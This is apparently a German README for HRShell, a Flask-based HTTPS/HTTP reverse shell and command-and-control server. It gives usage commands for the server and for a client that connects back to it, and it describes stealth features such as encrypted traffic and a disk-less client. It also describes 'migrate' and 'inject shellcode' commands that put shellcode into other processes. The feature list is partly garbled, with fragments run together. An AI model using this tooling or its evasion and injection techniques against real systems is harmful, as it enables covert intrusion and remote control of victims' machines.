
HRShell ist eine HTTPS/HTTP-Reverse-Shell, die mit flask erstellt wurde. Es ist ein fortschrittlicher C2-Server mit vielen Features & Fähigkeiten.
HRShell ist eine HTTPS/HTTP-Reverse-Shell, die mit Flask erstellt wurde und mit Python 3.x kompatibel ist. Der client.py wurde erfolgreich getestet auf:
während der server.py mit Unix-Systemen kompatibel ist (Windows-Support in Kürze verfügbar...)
migrate <PID>) durch Angabe seiner PID
cd-Befehl und Varianten).history-Befehl auf Unix-Systemen verfügbar.download/upload/screenshot/hex-Befehle verfügbar.|) und verkettete Befehle (;) werden unterstütztgunicorn und Nginx kompatibel ist.server.py als auch client.py sind leicht erweiterbar.*Für Versionsänderungen siehe CHANGELOG.
HRShell ist unauffällig, da es das HTTP(S)-Protokoll als Kommunikationsmethode zwischen Client und Server verwendet. Zusätzlich wird der Datenverkehr bei Verwendung von TLS verschlüsselt. Wenn das ZERTIFIKAT nicht clientseitig fest codiert ist (was eine praktikable Option ist) und der upload-Befehl nicht verwendet wird, dann berührt client.py die Festplatte überhaupt nicht.
Serverseitig:
Sofern nicht die Option --http angegeben wird, verwendet server.py standardmäßig HTTPS mit On-the-Fly-Zertifikaten, da On-the-Fly-Zertifikate eine integrierte Flask-Funktion sind. Wenn jedoch die Option -s tornado angegeben wird, um den Server zur Nutzung von TLS zu zwingen, müssen die Optionen --cert und --key wie folgt angegeben werden:
python server.py -s tornado --cert /path/cert.pem --key /path/key.pem
Es können entweder "echte" Zertifikate verwendet werden, oder eine andere Möglichkeit, ein Zertifikat/Schlüssel-Paar zu generieren, ist z.B. die Verwendung von mkcert oder direkt openssl wie folgt:
openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365
Ein Zertifikat/Schlüssel-Paar kann auch mit dem Flask-Server verwendet werden:
python server.py --cert /path/cert.pem --key /path/key.pem
⚠️ Wenn der Server TLS verwendet, kann der Client konstruktionsbedingt nicht
http://...verwenden, um eine Verbindung zum Server herzustellen, sondern muss stattdessen explizithttpsverwenden.
Clientseitig: Standardmäßig ist die SSL-Verifizierung des Clients deaktiviert, es sei denn:
--cert angegeben, z.B.:
python client.py -s https://192.168.10.7:5000 --cert /path/cert.pem
CERT wird, anstatt des Standardwerts None, vorher mit einem gültigen Zertifikat gesetzt, z.B.:
CERT = """
-----BEGIN CERTIFICATE-----
MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
...
-----END CERTIFICATE-----
"""
In diesem Fall wird client.py versuchen, spontan eine versteckte .cert.pem-Datei zu erstellen und diese stattdessen verwenden.⚠️ Dass die SSL-Verifizierung standardmäßig auf dem Client deaktiviert ist, bedeutet keinesfalls, dass auch TLS deaktiviert ist. TLS wird aktiviert, wenn der Server es verwendet – TLS hängt also vollständig vom Server ab. Die Option
--certauf dem Client dient lediglich als alternative Möglichkeit, dass Server und Client eine verschlüsselte Sitzung haben, und das ist alles.
Es gibt zwei "Modi" der Shellcode-Injektion, die mit den folgenden beiden Befehlen durchgeführt werden:
migrate <PID>: Mit diesem Befehl können wir Shellcode in den Speicherbereich eines anderen Prozesses injizieren, indem wir seine PID angeben. Derzeit kann dieser Befehl nur auf Windows x86/x64-Plattformen angewendet werden!
inject shellcode: Mit diesem Befehl wird ein neuer Thread (oder ein erzeugter Prozess auf Unix-Systemen) unseres aktuellen Prozesses erstellt und die Shellcode-Injektion erfolgt in dessen Speicherbereich. Dadurch wird unsere HTTP(S)-Shell nicht von der Injektion beeinträchtigt. Die Plattformen, auf denen dieser Befehl angewendet werden kann, sind: Unix x86/x64, Windows x86-Plattformen!
Es gibt zwei Möglichkeiten, den Typ des Shellcodes anzugeben/festzulegen, den der Client ausführen soll: